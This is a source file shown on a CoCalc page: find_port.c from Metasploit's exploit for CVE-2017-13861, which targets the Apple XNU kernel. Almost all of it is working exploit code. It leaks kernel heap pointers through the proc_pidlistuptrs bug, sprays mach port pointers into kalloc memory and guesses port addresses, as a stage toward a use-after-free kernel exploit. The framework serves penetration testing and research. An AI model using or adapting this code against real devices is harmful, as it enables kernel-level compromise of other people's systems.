CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/exploits/CVE-2017-13861/find_port.c
Views: 11780
1
#include <stdio.h>
2
#include <stdlib.h>
3
#include <unistd.h>
4
5
#include <mach/mach.h>
6
7
#include "kmem.h"
8
#include "koffsets.h"
9
#include "kutils.h"
10
#include "find_port.h"
11
#include "common.h"
12
13
#include <CoreFoundation/CoreFoundation.h>
14
extern void NSLog(CFStringRef, ...);
15
#define LOG(str, args...) do { NSLog(CFSTR("[*] " str "\n"), ##args); } while(false)
16
17
18
/*
19
* this is an exploit for the proc_pidlistuptrs bug (P0 issue 1372)
20
*
21
* It will reliably determine the kernel address of a mach port.
22
* Knowing the addresses of ports makes the other UaF exploit much simpler.
23
*/
24
25
// missing headers
26
#define KEVENT_FLAG_WORKLOOP 0x400
27
28
typedef uint64_t kqueue_id_t;
29
30
struct kevent_qos_s {
31
uint64_t ident; /* identifier for this event */
32
int16_t filter; /* filter for event */
33
uint16_t flags; /* general flags */
34
uint32_t qos; /* quality of service when servicing event */
35
uint64_t udata; /* opaque user data identifier */
36
uint32_t fflags; /* filter-specific flags */
37
uint32_t xflags; /* extra filter-specific flags */
38
int64_t data; /* filter-specific data */
39
uint64_t ext[4]; /* filter-specific extensions */
40
};
41
42
#define PRIVATE
43
#include <sys/event.h>
44
#include <sys/time.h>
45
#include <sys/types.h>
46
47
struct kevent_extinfo {
48
struct kevent_qos_s kqext_kev;
49
uint64_t kqext_sdata;
50
int kqext_status;
51
int kqext_sfflags;
52
uint64_t kqext_reserved[2];
53
};
54
55
extern int kevent_id(uint64_t id, const struct kevent_qos_s* changelist, int nchanges, struct kevent_qos_s* eventlist, int nevents, void* data_out, size_t* data_available, unsigned int flags);
56
57
int proc_list_uptrs(pid_t pid, uint64_t* buffer, uint32_t buffersize);
58
59
// appends n_events user events onto this process's kevent queue
60
static void fill_events(int n_events)
61
{
62
struct kevent_qos_s events_id[] = { { .filter = EVFILT_USER,
63
.ident = 1,
64
.flags = EV_ADD,
65
.udata = 0x2345 } };
66
67
kqueue_id_t id = 0x1234;
68
69
for (int i = 0; i < n_events; i++) {
70
int err = kevent_id(id, events_id, 1, NULL, 0, NULL, NULL,
71
KEVENT_FLAG_WORKLOOP | KEVENT_FLAG_IMMEDIATE);
72
73
if (err != 0) {
74
LOG("failed to enqueue user event");
75
exit(EXIT_FAILURE);
76
}
77
78
events_id[0].ident++;
79
}
80
}
81
82
int kqueues_allocated = 0;
83
84
static void prepare_kqueue()
85
{
86
// ensure there are a large number of events so that kevent_proc_copy_uptrs
87
// always returns a large number
88
if (kqueues_allocated) {
89
return;
90
}
91
fill_events(10000);
92
LOG("prepared kqueue");
93
kqueues_allocated = 1;
94
}
95
96
// will make a kalloc allocation of (count*8)+7
97
// and only write to the first (count*8) bytes.
98
// the return value is those last 7 bytes uninitialized bytes as a uint64_t
99
// (the upper byte will be set to 0)
100
static uint64_t try_leak(int count)
101
{
102
int buf_size = (count * 8) + 7;
103
char* buf = calloc(buf_size + 1, 1);
104
105
int err = proc_list_uptrs(getpid(), (void*)buf, buf_size);
106
107
if (err == -1) {
108
return 0;
109
}
110
111
// the last 7 bytes will contain the leaked data:
112
uint64_t last_val = ((uint64_t*)buf)[count]; // we added an extra zero byte in the calloc
113
114
return last_val;
115
}
116
117
struct ool_msg {
118
mach_msg_header_t hdr;
119
mach_msg_body_t body;
120
mach_msg_ool_ports_descriptor_t ool_ports;
121
};
122
123
// fills a kalloc allocation with count times of target_port's struct ipc_port pointer
124
// To cause the kalloc allocation to be free'd mach_port_destroy the returned receive right
125
static mach_port_t fill_kalloc_with_port_pointer(mach_port_t target_port, int count, int disposition)
126
{
127
// allocate a port to send the message to
128
mach_port_t q = MACH_PORT_NULL;
129
kern_return_t err;
130
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &q);
131
if (err != KERN_SUCCESS) {
132
LOG("failed to allocate port");
133
exit(EXIT_FAILURE);
134
}
135
136
mach_port_t* ports = malloc(sizeof(mach_port_t) * count);
137
for (int i = 0; i < count; i++) {
138
ports[i] = target_port;
139
}
140
141
struct ool_msg* msg = calloc(1, sizeof(struct ool_msg));
142
143
msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
144
msg->hdr.msgh_size = (mach_msg_size_t)sizeof(struct ool_msg);
145
msg->hdr.msgh_remote_port = q;
146
msg->hdr.msgh_local_port = MACH_PORT_NULL;
147
msg->hdr.msgh_id = 0x41414141;
148
149
msg->body.msgh_descriptor_count = 1;
150
151
msg->ool_ports.address = ports;
152
msg->ool_ports.count = count;
153
msg->ool_ports.deallocate = 0;
154
msg->ool_ports.disposition = disposition;
155
msg->ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
156
msg->ool_ports.copy = MACH_MSG_PHYSICAL_COPY;
157
158
err = mach_msg(&msg->hdr,
159
MACH_SEND_MSG | MACH_MSG_OPTION_NONE,
160
(mach_msg_size_t)sizeof(struct ool_msg),
161
0,
162
MACH_PORT_NULL,
163
MACH_MSG_TIMEOUT_NONE,
164
MACH_PORT_NULL);
165
166
if (err != KERN_SUCCESS) {
167
LOG("failed to send message: %s", mach_error_string(err));
168
exit(EXIT_FAILURE);
169
}
170
171
return q;
172
}
173
174
static int uint64_t_compare(const void* a, const void* b)
175
{
176
uint64_t a_val = (*(uint64_t*)a);
177
uint64_t b_val = (*(uint64_t*)b);
178
if (a_val < b_val) {
179
return -1;
180
}
181
if (a_val == b_val) {
182
return 0;
183
}
184
return 1;
185
}
186
187
uint64_t find_port_via_proc_pidlistuptrs_bug(mach_port_t port, int disposition)
188
{
189
prepare_kqueue();
190
191
int n_guesses = 100;
192
uint64_t* guesses = calloc(1, n_guesses * sizeof(uint64_t));
193
int valid_guesses = 0;
194
195
for (int i = 1; i < n_guesses + 1; i++) {
196
mach_port_t q = fill_kalloc_with_port_pointer(port, i, disposition);
197
mach_port_destroy(mach_task_self(), q);
198
uint64_t leaked = try_leak(i - 1);
199
//LOG("leaked %016llx", leaked);
200
201
// a valid guess is one which looks a bit like a kernel heap pointer
202
// without the upper byte:
203
if ((leaked < 0x00ffffff00000000) && (leaked > 0x00ffff0000000000)) {
204
guesses[valid_guesses++] = leaked | 0xff00000000000000;
205
}
206
}
207
208
if (valid_guesses == 0) {
209
LOG("couldn't leak any kernel pointers");
210
exit(EXIT_FAILURE);
211
}
212
213
// return the most frequent guess
214
qsort(guesses, valid_guesses, sizeof(uint64_t), uint64_t_compare);
215
216
uint64_t best_guess = guesses[0];
217
int best_guess_count = 1;
218
219
uint64_t current_guess = guesses[0];
220
int current_guess_count = 1;
221
for (int i = 1; i < valid_guesses; i++) {
222
if (guesses[i] == guesses[i - 1]) {
223
current_guess_count++;
224
if (current_guess_count > best_guess_count) {
225
best_guess = current_guess;
226
best_guess_count = current_guess_count;
227
}
228
} else {
229
current_guess = guesses[i];
230
current_guess_count = 1;
231
}
232
}
233
234
//LOG("best guess is: 0x%016llx with %d%% of the valid guesses for it", best_guess, (best_guess_count*100)/valid_guesses);
235
236
free(guesses);
237
238
return best_guess;
239
}
240
241
uint64_t find_port_via_kmem_read(mach_port_name_t port)
242
{
243
uint64_t task_port_addr = task_self_addr();
244
245
uint64_t task_addr = ReadKernel64(task_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
246
247
uint64_t itk_space = ReadKernel64(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE));
248
249
uint64_t is_table = ReadKernel64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE));
250
251
uint32_t port_index = port >> 8;
252
const int sizeof_ipc_entry_t = 0x18;
253
254
uint64_t port_addr = ReadKernel64(is_table + (port_index * sizeof_ipc_entry_t));
255
return port_addr;
256
}
257
258
uint64_t find_port_address(mach_port_t port, int disposition)
259
{
260
if (have_kmem_read()) {
261
return find_port_via_kmem_read(port);
262
}
263
return find_port_via_proc_pidlistuptrs_bug(port, disposition);
264
}
265
266